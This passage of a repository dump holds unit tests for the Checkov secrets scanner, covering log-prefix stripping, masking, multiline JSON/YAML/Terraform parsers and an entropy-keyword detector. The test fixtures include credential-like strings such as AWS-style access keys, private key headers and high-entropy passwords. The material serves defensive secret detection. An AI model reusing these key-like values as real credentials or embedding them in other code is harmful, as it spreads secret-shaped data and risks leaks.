[DEBUG] Some debug info\\n\"\n        )\n        self.assertTrue(has_log_prefixes(content))\n\n\nclass TestStripLogPrefixesFromContent(unittest.TestCase):\n    \"\"\"Tests for the strip_log_prefixes_from_content function.\"\"\"\n\n    def test_strips_all_prefixes(self) -> None:\n        content = (\n            \"2026-01-07 09:41:37.552 | INFO  | crypto      | Decrypting signing key\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | -----BEGIN RSA PRIVATE KEY-----\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\\n\"\n            \"2026-01-07 09:41:37.553 | DEBUG | crypto      | -----END RSA PRIVATE KEY-----\"\n        )\n        expected = (\n            \"Decrypting signing key\\n\"\n            \"-----BEGIN RSA PRIVATE KEY-----\\n\"\n            \"MIIEpAIBAAKCAQEAx9TgJ2Zy7KX8\\n\"\n            \"-----END RSA PRIVATE KEY-----\"\n        )\n        result = strip_log_prefixes_from_content(content)\n        self.assertEqual(result, expected)\n\n\nclass TestCreateStrippedContent(unittest.TestCase):\n    \"\"\"Tests for the create_stripped_content function.\"\"\"\n\n    def test_build_log_file(self) -> None:\n        test_file = str(Path(__file__).parent / \"build_log_prefix\" / \"build_log_with_private_key.log\")\n        content = create_stripped_content(test_file)\n        self.assertIsNotNone(content)\n        self.assertIn(\"-----BEGIN RSA PRIVATE KEY-----\", content)\n        # Verify prefixes are removed\n        self.assertNotIn(\"2026-01-07 09:41:37.553 | DEBUG | crypto      | -----BEGIN\", content)\n\n    def test_plain_file_not_stripped(self) -> None:\n        test_file = str(Path(__file__).parent / \"build_log_prefix\" / \"plain_private_key.txt\")\n        content = create_stripped_content(test_file)\n        self.assertIsNone(content)\n\n    def test_nonexistent_file(self) -> None:\n        content = create_stripped_content(\"/nonexistent/file.log\")\n        self.assertIsNone(content)\n\n    def test_bracket_log_file(self) -> None:\n        test_file = str(Path(__file__).parent / \"build_log_prefix\" / \"bracket_log_with_private_key.log\")\n        content = create_stripped_content(test_file)\n        self.assertIsNotNone(content)\n        self.assertIn(\"-----BEGIN RSA PRIVATE KEY-----\", content)\n        self.assertNotIn(\"[2026-01-07 09:41:37]\", content)\n\n    def test_putty_key_log_file(self) -> None:\n        test_file = str(Path(__file__).parent / \"build_log_prefix\" / \"build_log_with_putty_key.log\")\n        content = create_stripped_content(test_file)\n        self.assertIsNotNone(content)\n        self.assertIn(\"PuTTY-User-Key-File-2: ssh-rsa\", content)\n        self.assertNotIn(\"2026-01-07 09:41:37.552 | DEBUG | ssh         | PuTTY\", content)\n\n\nclass TestSafeScanWithLogPrefixes(unittest.TestCase):\n    \"\"\"Integration tests verifying _safe_scan detects secrets in build logs.\"\"\"\n\n    def setUp(self) -> None:\n        self.runner = Runner()\n        self.plugins_used, self.cleanupFn = self.runner._get_plugins_used()\n\n    def tearDown(self) -> None:\n        self.cleanupFn()\n\n    def test_rsa_private_key_in_pipe_log(self) -> None:\n        \"\"\"RSA private key in pipe-separated build log should be detected (CKV_SECRET_13).\"\"\"\n        with transient_settings({'plugins_used': self.plugins_used}) as settings:\n            settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference')\n            settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid')\n\n            _, results = Runner._safe_scan(\n                'tests/secrets/build_log_prefix/build_log_with_private_key.log', '.'\n            )\n        self.assertGreaterEqual(len(results), 1)\n        secret_types = {r.type for r in results}\n        self.assertIn('Private Key', secret_types)\n\n    def test_rsa_private_key_in_bracket_log(self) -> None:\n        \"\"\"RSA private key in bracket-style build log should be detected (CKV_SECRET_13).\"\"\"\n        with transient_settings({'plugins_used': self.plugins_used}) as settings:\n            settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference')\n            settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid')\n\n            _, results = Runner._safe_scan(\n                'tests/secrets/build_log_prefix/bracket_log_with_private_key.log', '.'\n            )\n        self.assertGreaterEqual(len(results), 1)\n        secret_types = {r.type for r in results}\n        self.assertIn('Private Key', secret_types)\n\n    def test_putty_key_in_build_log(self) -> None:\n        \"\"\"PuTTY key in build log should be detected (CKV_SECRET_13).\"\"\"\n        with transient_settings({'plugins_used': self.plugins_used}) as settings:\n            settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference')\n            settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid')\n\n            _, results = Runner._safe_scan(\n                'tests/secrets/build_log_prefix/build_log_with_putty_key.log', '.'\n            )\n        self.assertGreaterEqual(len(results), 1)\n        secret_types = {r.type for r in results}\n        self.assertIn('Private Key', secret_types)\n\n    def test_plain_file_still_detected(self) -> None:\n        \"\"\"Plain file without log prefixes should still detect secrets normally.\"\"\"\n        with transient_settings({'plugins_used': self.plugins_used}) as settings:\n            settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference')\n            settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid')\n\n            _, results = Runner._safe_scan(\n                'tests/secrets/build_log_prefix/plain_private_key.txt', '.'\n            )\n        self.assertGreaterEqual(len(results), 1)\n        secret_types = {r.type for r in results}\n        self.assertIn('Private Key', secret_types)\n\n    def test_mixed_secrets_in_build_log(self) -> None:\n        \"\"\"Both AWS key (single-line) and RSA private key (multiline) should be detected\n        in a single build log scan — verifying the file is only scanned once with\n        stripped content and both secret types are found.\"\"\"\n        with transient_settings({'plugins_used': self.plugins_used}) as settings:\n            settings.disable_filters('detect_secrets.filters.heuristic.is_indirect_reference')\n            settings.disable_filters('detect_secrets.filters.heuristic.is_potential_uuid')\n\n            _, results = Runner._safe_scan(\n                'tests/secrets/build_log_prefix/build_log_with_mixed_secrets.log', '.'\n            )\n        secret_types = {r.type for r in results}\n        self.assertIn('AWS Access Key', secret_types)\n        self.assertIn('Private Key', secret_types)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/secrets/test_masking_secrets.py",
    "content": "import shutil\nimport tempfile\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.runner import Runner\n\n\ndef test_multiline_keyword_password_in_pod():\n    with tempfile.TemporaryDirectory() as tmpdir:\n        tmp = Path(tmpdir)\n        shutil.copytree(Path(__file__).parent / 'masking_secrets', tmpdir, dirs_exist_ok=True)\n        Runner().mask_files(files=None, root_folder=tmpdir,\n                            runner_filter=RunnerFilter(framework=[\"secrets\"]))\n\n        f = tmp / 'findings_report_with_pass.json'\n        assert f.is_file()\n        content = f.read_text()\n        assert content.count(\"AKIAY**********\") == 12\n        assert content.count(\"AKIAYNKRE4OV2LF6TC3N\") == 0\n        assert content.count(\"h4t2TJ**********\") == 12\n        assert content.count(\"h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi\") == 0\n\n        f = tmp / 'assets_report_with_pass.json'\n        assert f.is_file()\n        content = f.read_text()\n        assert content.count(\"AKIAY**********\") == 1\n        assert content.count(\"AKIAYNKRE4OV2LF6TC3N\") == 0\n        assert content.count(\"h4t2TJ**********\") == 1\n        assert content.count(\"h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi\") == 0\n\n"
  },
  {
    "path": "tests/secrets/test_multiline_finding_line_number.py",
    "content": "import os\nimport unittest\n\n\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.runner import Runner\nfrom tests.secrets.utils_for_test import _filter_reports_for_incident_ids\n\n\nclass TestMultilineFinding(unittest.TestCase):\n\n    def test_multiline_finding(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = current_dir + \"/multiline_finding\"\n        bc_integration.customer_run_config_response = {\"secretsPolicies\": [\n            {\n                \"incidentId\": \"test1\",\n                \"category\": \"Secrets\",\n                \"severity\": \"MEDIUM\",\n                \"incidentType\": \"Violation\",\n                \"title\": \"test1\",\n                \"guideline\": \"test\",\n                \"laceworkViolationId\": None,\n                \"prowlerCheckId\": None,\n                \"checkovCheckId\": None,\n                \"resourceTypes\":\n                    [\n                        \"aws_instance\"\n                    ],\n                \"provider\": \"AWS\",\n                \"remediationIds\":\n                    [],\n                \"customerName\": \"test1\",\n                \"isCustom\": True,\n                \"code\": \"definition:\\n  cond_type: secrets\\n  multiline: true\\n  prerun:\\n  - (?i)(?:algolia)\\n  value:\\n  - (?i)(?:algolia)(?:.|[\\\\n\\\\r]){0,80}([A-Za-z0-9]{32})\\n\",\n                \"descriptiveTitle\": None,\n                \"constructiveTitle\": None,\n                \"pcPolicyId\": None,\n                \"additionalPcPolicyIds\": None,\n                \"pcSeverity\": None,\n                \"sourceIncidentId\": None\n            }\n        ]}\n        runner = Runner()\n        report = runner.run(root_folder=valid_dir_path,\n                            runner_filter=RunnerFilter(framework=['secrets'],\n                                                       enable_secret_scan_all_files=True))\n        interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, [\"test1\"])\n        self.assertEqual(len(interesting_failed_checks), 1)\n        self.assertEqual(len(interesting_failed_checks[0].code_block), 1)\n        self.assertEqual(len(interesting_failed_checks[0].code_block[0]), 2)\n        self.assertEqual(interesting_failed_checks[0].code_block[0][0], 2)\n"
  },
  {
    "path": "tests/secrets/test_multiline_parser_json.py",
    "content": "import unittest\n\nfrom detect_secrets.util.code_snippet import CodeSnippet\n\nfrom checkov.secrets.parsers.json.multiline_parser import json_multiline_parser\n\n\nclass TestMultilineParserJson(unittest.TestCase):\n\tdef setUp(self) -> None:\n\t\tself.json_parser = json_multiline_parser\n\n\tdef test_is_object_start(self):\n\t\texamples = [\n\t\t\t(True,  '   {'),\n\t\t\t(True,  '   {\t\\n'),\n\t\t\t(True,  '\t\t{'),\n\t\t\t(True,  '{'),\n\t\t\t(True,  '\"key\": {'),\n\t\t\t(True,  '}, {'),\n\t\t\t(False, '\"key\": {}'),\n\t\t\t(False, '\"key\": { }'),\n\t\t\t(False, '\"key\": {\t},\t'),\n\t\t\t(False, '{ \"key\": \"value\" }'),\n\t\t\t(False, '\"key\": { \"key2\": \"value2\", \"key3\": \"value3\" }, '),\n\t\t\t(False, '\"key\": \"value\" }'),\n\t\t\t(False, '\t}, { \"key\":  '),  # is not supported\n\t\t\t(False, '}'),\n\t\t\t(False, '\t\t}'),\n\t\t\t(False, '\"key\": 1, '),\n\t\t\t(False, '[1,2], ['),\n\t\t\t(False, '[1,2], '),\n\t\t]\n\n\t\tfor ans, line in examples:\n\t\t\tassert ans == self.json_parser.is_object_start(line)\n\n\tdef test_is_object_end(self):\n\t\texamples = [\n\t\t\t(True,  '}'),\n\t\t\t(True,  '\t\t}'),\n\t\t\t(True,  '   }'),\n\t\t\t(True,  '\t},'),\n\t\t\t(True,  '}]}, '),\n\t\t\t(True,  '\"key\": \"value\" }'),\n\t\t\t(True,  '\"key\": \"value\" } , '),\n\t\t\t(True,  '}, {'),\n\t\t\t(False,  '\"key\": {}'),\n\t\t\t(False,  '\"key\": { }'),\n\t\t\t(False,  '\"key\": {\t},\t'),\n\t\t\t(True,  '\t}, { \"key\": \"value\",'),\n\t\t\t(False, '\"key\": { \"key2\": \"value2\", \"key3\": \"value3\" }, '),\n\t\t\t(False, '\"key\": {'),\n\t\t\t(False, '{'),\n\t\t\t(False, '\t\t{'),\n\t\t\t(False, '\"key\": 1, '),\n\t\t\t(False, '[1,2], '),\n\t\t]\n\n\t\tfor ans, line in examples:\n\t\t\tassert ans == self.json_parser.is_object_end(line)\n\n\tdef test_lines_in_same_object1(self):\n\t\t# Please notice that additional logic required to determine for non-sequential lines,\n\t\t# see EntropyKeywordCombinator.analyze_multiline() function for example.\n\t\t# In the context of the tested function, 2 lines are treated as sequential.\n\t\traw_context_example = CodeSnippet(\n\t\t\tsnippet=[\n\t\t\t\t'  conf_list_of_dicts\": [',\n\t\t\t\t'    {',\n\t\t\t\t'      \"name\": \"TEST_PASSWORD_1\",',\n\t\t\t\t'      \"value\": \"some secret\",',\n\t\t\t\t'      \"desc\": \"still same obj\",',\n\t\t\t\t'      \"type\": 1',\n\t\t\t\t'    }',\n\t\t\t\t'  ],',\n\t\t\t\t'  \"conf_dict\": {',\n\t\t\t\t'    \"name\": \"TEST_PASSWORD_1\",',\n\t\t\t\t'    \"value\": \"some secret\",'\n\t\t\t],\n\t\t\tstart_line=5,\n\t\t\ttarget_index=5\n\t\t)\n\t\texamples = [\n\t\t\t# index of rows in the context compared to the target row, which is:\n\t\t\t# '      \"type\": 1'\n\t\t\t(True, 1, raw_context_example),\n\t\t\t(True, 2, raw_context_example),\n\t\t\t(True, 3, raw_context_example),\n\t\t\t(True, 4, raw_context_example),\n\t\t\t(True, 6, raw_context_example),\n\t\t]\n\n\t\tfor res, i, raw_context in examples:\n\t\t\tassert res == self.json_parser.consecutive_lines_in_same_object(\n\t\t\t\traw_context=raw_context, other_line_idx=i)\n\n\tdef test_lines_in_same_object2(self):\n\n\t\traw_context_example = CodeSnippet(\n\t\t\tsnippet=[\n\t\t\t\t'  , {',\n\t\t\t\t'      \"value\": \"some secret\",',\n\t\t\t\t'    }],',\n\t\t\t\t'  \"conf_dict\": {',\n\t\t\t\t'    \"name\": {} ',\n\t\t\t\t'    \"value\": { \"key2\": \"value2\", \"key3\": \"value3\" }\",'\n\t\t\t],\n\t\t\tstart_line=2,\n\t\t\ttarget_index=1\n\t\t)\n\n\t\texamples = [\n\t\t\t# index of rows in the context compared to the target row, which is:\n\t\t\t# '      \"value\": \"some secret\"'\n\t\t\t(False, 0, raw_context_example),\n\t\t\t(True, 2, raw_context_example),\n\t\t\t(True, 3, raw_context_example),\n\t\t]\n\n\t\tfor res, i, raw_context in examples:\n\t\t\tassert res == self.json_parser.consecutive_lines_in_same_object(\n\t\t\t\traw_context=raw_context, other_line_idx=i)\n\n\tdef test_lines_in_same_object3(self):\n\t\traw_context_example = CodeSnippet(\n\t\t\tsnippet=[\n\t\t\t\t'  , {',\n\t\t\t\t'      \"value\": \"some secret\",',\n\t\t\t\t'    }],',\n\t\t\t\t'  \"conf_dict\": {',\n\t\t\t\t'    \"name\": {} ',\n\t\t\t\t'    \"value\": { ',\n\t\t\t\t'  \t \t\"key2\": \"value2\", ',\n\t\t\t\t'    \t\"value\": { \"key2\": \"value2\", \"key3\": \"value3\" }, ',\n\t\t\t],\n\t\t\tstart_line=2,\n\t\t\ttarget_index=5\n\t\t)\n\n\t\texamples = [\n\t\t\t# index of rows in the context compared to the target row, which is:\n\t\t\t# '    \"name\": {} '\n\t\t\t(True, 4, raw_context_example),\n\t\t\t(False, 6, raw_context_example),\n\t\t]\n\n\t\tfor res, i, raw_context in examples:\n\t\t\tassert res == self.json_parser.consecutive_lines_in_same_object(\n\t\t\t\traw_context=raw_context, other_line_idx=i)\n"
  },
  {
    "path": "tests/secrets/test_multiline_parser_yml.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.secrets.parsers.yaml.multiline_parser import yml_multiline_parser\n\n\nclass TestMultilineParserYml(unittest.TestCase):\n\tdef setUp(self) -> None:\n\t\tself.yml_parser = yml_multiline_parser\n\n\tdef test_are_lines_same_indentation_yml(self):\n\t\ttest_file_path = Path(__file__).parent / \"resources/cfn/secret.yml\"\n\n\t\tresult = {0: True, 1: False, 2: False, 3: False, 4: False, 5: True, 6: False, 7: True,\n\t\t\t\t  8: True, 9: True, 10: True, 11: False, 12: False, 13: False, 14: False, 15: False,\n\t\t\t\t  16: True, 17: False, 18: False, 19: True, 20: True, 21: True}\n\t\twith open(file=test_file_path) as f:\n\t\t\tlines = f.readlines()\n\t\t\t# assert len(result) == len(lines)-1\n\t\t\tfor i in range(len(lines) - 1):\n\t\t\t\tresult[i] = self.yml_parser.lines_same_indentation(lines[i], lines[i + 1])\n\n\t\tassert result\n\n\tdef test_line_is_comment_yml(self):\n\t\texamples = [\n\t\t\t(True, \"# comment\"),\n\t\t\t(True, \"     # also comment\"),\n\t\t\t(True, \"// nice comment here\"),\n\t\t\t(True, \"//and nice comment here2\"),\n\t\t\t(True, \"      // commenting with checkov and having fun\"),\n\t\t\t(False, \"var: a  //this is not a comment\"),\n\t\t\t(False, \"var: not a comment # comment\"),\n\t\t\t(False, \"  - var: a\"),\n\t\t\t(False, \"var: \"),\n\t\t]\n\n\t\tfor ans, line in examples:\n\t\t\tassert ans == self.yml_parser.is_line_comment(line)"
  },
  {
    "path": "tests/secrets/test_plugin.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator\n\n\nclass TestCombinatorPlugin(unittest.TestCase):\n    def setUp(self) -> None:\n        self.plugin = EntropyKeywordCombinator()\n\n    def test_positive_value(self):\n        result = self.plugin.analyze_line(\"mock.tf\", 'api_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY\"', 5)\n        self.assertEqual(1, len(result))\n        secret = result.pop()\n        self.assertEqual(\"Base64 High Entropy String\", secret.type)\n        self.assertEqual(\"c00f1a6e4b20aa64691d50781b810756d6254b8e\", secret.secret_hash)\n\n    def test_suspicious_keyword_no_secret(self):\n        result = self.plugin.analyze_line(\"mock.json\", \"'wrong_one_time_password' = 'Du har tastet feil engangspassord'\", 5)\n        self.assertEqual(0, len(result))\n\n    def test_suspicious_keyword_with_secret(self):\n        result = self.plugin.analyze_line(\"mock.json\", \"'my_new_password':'F317a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF1jpfgC56az4a'\", 5)\n        self.assertEqual(1, len(result))\n        secret = result.pop()\n        self.assertEqual(\"Base64 High Entropy String\", secret.type)\n        self.assertEqual(\"F317a45xxmwov9bpgRhyuByXj2nxz7khS6yXQmfSaQCmwbTF1jpfgC56az4a\", secret.secret_value)\n\n    def test_unquoted_secret(self):\n        result = self.plugin.analyze_line(\"mock.yaml\", 'export secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY', 5)\n        self.assertEqual(1, len(result))\n        secret = result.pop()\n        self.assertEqual(\"Base64 High Entropy String\", secret.type)\n        self.assertEqual(\"c00f1a6e4b20aa64691d50781b810756d6254b8e\", secret.secret_hash)\n\n    def test_negative_keyword_value(self):\n        result = self.plugin.analyze_line(\"mock.tf\", \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY\", 5)\n        self.assertEqual(0, len(result))\n\n    def test_negative_entropy_value(self):\n        result = self.plugin.analyze_line(\"mock.tf\", \"api_key = var.api_key\", 5)\n        self.assertEqual(0, len(result))\n\n    def test_popular_kubernetes_manifest_password(self):\n        result = self.plugin.analyze_line(\"mock.yaml\", 'pwd: \"correcthorsebatterystaple\"', 5)\n        self.assertEqual(1, len(result))\n        secret = result.pop()\n        self.assertEqual(\"Base64 High Entropy String\", secret.type)\n        self.assertEqual(\"bfd3617727eab0e800e62a776c76381defbc4145\", secret.secret_hash)\n\n    def test_no_false_positive_py(self):\n        # combinator plugin should ignore source code files\n        result = self.plugin.analyze_line(\"main.py\", 'api_key = \"7T)G#dl5}c=T>kf$G3Bon^!R?kzF00\"', 1)\n        self.assertEqual(0, len(result))\n\n    def test_no_false_positive_yml_1(self):\n        test_file_path = Path(__file__).parent / \"resources/cfn/secret-no-false-positive.yml\"\n        with open(file=str(test_file_path)) as f:\n            for i, line in enumerate(f.readlines()):\n                result = self.plugin.analyze_line(\"secret-no-false-positive.yml\", line, i)\n                self.assertEqual(0, len(result))\n\n    def test_no_false_positive_yml_2(self):\n        test_file_path = Path(__file__).parent / \"resources/cfn/secret-no-false-positive2.yml\"\n        with open(file=str(test_file_path)) as f:\n            for i, line in enumerate(f.readlines()):\n                result = self.plugin.analyze_line(\"secret-no-false-positive2.yml\", line, i)\n                self.assertEqual(0, len(result))\n\n    def test_no_false_positive_image_bytes(self):\n        result = self.plugin.analyze_line(\"main.py\", \"'image/jpeg' : b'/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0a\\nHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIy\\nMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAACAAIDASIA\\nAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA\\nAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3\\nODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm\\np6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA\\nAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx\\nBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK\\nU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3\\nuLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooo\\noAoo2Qoo'\", 1)\n        self.assertEqual(0, len(result))\n\n    def test_no_false_positive_token(self):\n        result = self.plugin.analyze_line(\"main.go\", 'fmt.Sprintf(\"https://%s:%s@\", token, token)', 1)\n        self.assertEqual(0, len(result))\n\n    def test_secret_value_in_keyword(self):\n        result = self.plugin.analyze_line(\"mock.tf\", 'export AWS_SECRET_ACCESS_KEY=h4t2TJheVRR8em5VdNCjrSJdQ+p7OHl33SxrZoUi', 1)\n        self.assertEqual(1, len(result))\n\n    def test_k8s_secret_name(self):\n        # given\n        test_file_path = Path(__file__).parent / \"resources/k8s/secret-name.yaml\"\n\n        # when\n        with open(file=str(test_file_path)) as f:\n            for i, line in enumerate(f.readlines()):\n                result = self.plugin.analyze_line(\"secret-no-false-positive2.yml\", line, i)\n\n                # then\n                self.assertEqual(0, len(result))\n"
  },
  {
    "path": "tests/secrets/test_plugin_multiline_json.py",
    "content": "import time\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator\nfrom checkov.secrets.runner import Runner\n\n\nclass TestCombinatorPluginMultilineJson(unittest.TestCase):\n    def setUp(self) -> None:\n        self.plugin = EntropyKeywordCombinator()\n\n    def test_multiline_keyword_password_report(self):\n        test_file_path = Path(__file__).parent / \"json_multiline/test-multiline-secrets.json\"\n\n        report = Runner().run(\n            root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=['secrets'])\n        )\n        self.assertEqual(len(report.failed_checks), 5)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n\n    def test_non_multiline_pair_time_limit_creating_report(self):\n        # given\n        test_files = [str(Path(__file__).parent / \"json_multiline/pomerium_compose.json\")]\n        runner = Runner()\n        runner_filter = RunnerFilter(framework=['secrets'])\n\n        # when\n        start_time = time.time()\n        report = runner.run(root_folder=None, files=test_files, runner_filter=runner_filter)\n        end_time = time.time()\n\n        # then\n        assert end_time-start_time < 2  # assert the time limit is not too long for parsing long lines.\n        self.assertEqual(len(report.failed_checks), 6)\n        # None of the results is related to multiline scanning - all is detected even if multiline scanning is disabled.\n        # This is a different result compared to same data in .yml file.\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n"
  },
  {
    "path": "tests/secrets/test_plugin_multiline_terraform.py",
    "content": "from pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.runner import Runner\n\n\ndef test_multiline_keyword_password_in_pod():\n    # given\n    test_file_path = Path(__file__).parent / \"terraform_multiline/pod.tf\"\n\n    #  when\n    report = Runner().run(\n        root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=[\"secrets\"])\n    )\n\n    #  then\n    failing_resources = {\n        \"dcbf46de362e1b6942054b89ee293984e9a8a40a\",\n        \"ac236b0474a9a702f99dbe244a14548783ace5c5\",\n        \"9ed4f1457a9c27dd868c1f21276c6d7098d2bacf\",\n        \"06af723e58378574456be0b4c41a89194aaed0c3\",\n        \"5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == len(failing_resources)\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n    assert failing_resources == failed_check_resources\n\n\ndef test_multiline_keyword_password_in_jsonencode():\n    # given\n    test_file_path = Path(__file__).parent / \"terraform_multiline/ecs_jsonencode.tf\"\n\n    #  when\n    report = Runner().run(\n        root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=[\"secrets\"])\n    )\n\n    #  then\n    failing_resources = {\n        \"dcbf46de362e1b6942054b89ee293984e9a8a40a\",\n        \"ac236b0474a9a702f99dbe244a14548783ace5c5\",\n        \"9ed4f1457a9c27dd868c1f21276c6d7098d2bacf\",\n        \"06af723e58378574456be0b4c41a89194aaed0c3\",\n        \"5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == len(failing_resources)\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n    assert failing_resources == failed_check_resources\n\n\ndef test_multiline_keyword_password_in_json_heredoc():\n    # given\n    test_file_path = Path(__file__).parent / \"terraform_multiline/ecs_heredoc.tf\"\n\n    #  when\n    report = Runner().run(\n        root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=[\"secrets\"])\n    )\n\n    #  then\n    failing_resources = {\n        \"dcbf46de362e1b6942054b89ee293984e9a8a40a\",\n        \"ac236b0474a9a702f99dbe244a14548783ace5c5\",\n        \"9ed4f1457a9c27dd868c1f21276c6d7098d2bacf\",\n        \"06af723e58378574456be0b4c41a89194aaed0c3\",\n        \"5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == len(failing_resources)\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n    assert failing_resources == failed_check_resources\n\n\ndef test_multiline_keyword_password_in_yaml_heredoc():\n    # given\n    test_file_path = Path(__file__).parent / \"terraform_multiline/cfn_heredoc.tf\"\n\n    #  when\n    report = Runner().run(\n        root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=[\"secrets\"])\n    )\n\n    #  then\n    failing_resources = {\n        \"dcbf46de362e1b6942054b89ee293984e9a8a40a\",\n        \"ac236b0474a9a702f99dbe244a14548783ace5c5\",\n        \"9ed4f1457a9c27dd868c1f21276c6d7098d2bacf\",\n        \"06af723e58378574456be0b4c41a89194aaed0c3\",\n        \"5db2fafebcfed9b4c9ffc570c46ef2ca94a3881a\",\n    }\n\n    failed_check_resources = {c.resource for c in report.failed_checks}\n\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == len(failing_resources)\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n    assert failing_resources == failed_check_resources\n\n\ndef test_multiline_keyword_password_skip_data_blocks():\n    # given\n    test_file_path = Path(__file__).parent / \"terraform_multiline/data.tf\"\n\n    #  when\n    report = Runner().run(\n        root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=[\"secrets\"])\n    )\n\n    #  then\n    assert len(report.passed_checks) == 0\n    assert len(report.failed_checks) == 0\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n"
  },
  {
    "path": "tests/secrets/test_plugin_multiline_yml.py",
    "content": "import time\nimport unittest\nfrom pathlib import Path\n\nfrom detect_secrets.util.code_snippet import CodeSnippet\nfrom detect_secrets.util.filetype import FileType\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.secrets.plugins.entropy_keyword_combinator import EntropyKeywordCombinator\nfrom checkov.secrets.plugins.entropy_keyword_combinator import REGEX_VALUE_KEYWORD_BY_FILETYPE\nfrom checkov.secrets.plugins.entropy_keyword_combinator import REGEX_VALUE_SECRET_BY_FILETYPE\nfrom checkov.secrets.runner import Runner\nfrom tests.secrets.utils_for_test import _filter_reports_for_incident_ids\n\n\nclass TestCombinatorPluginMultilineYml(unittest.TestCase):\n    def setUp(self) -> None:\n        self.plugin = EntropyKeywordCombinator()\n\n    def test_keyword_in_value_pair(self):\n        # first line is keyword, next line (underneath) is password\n        context = CodeSnippet(\n            snippet=[\n                'name: \"TEST_SOMETHING\"',\n                'value: \"not-a-real-password\"',\n                'name: \"TEST_PASSWORD_1\"',\n                'value: \"Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\"',\n                'name: \"TEST_PASSWORD_2\"',\n                'value: \"Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI\"',\n                'name: 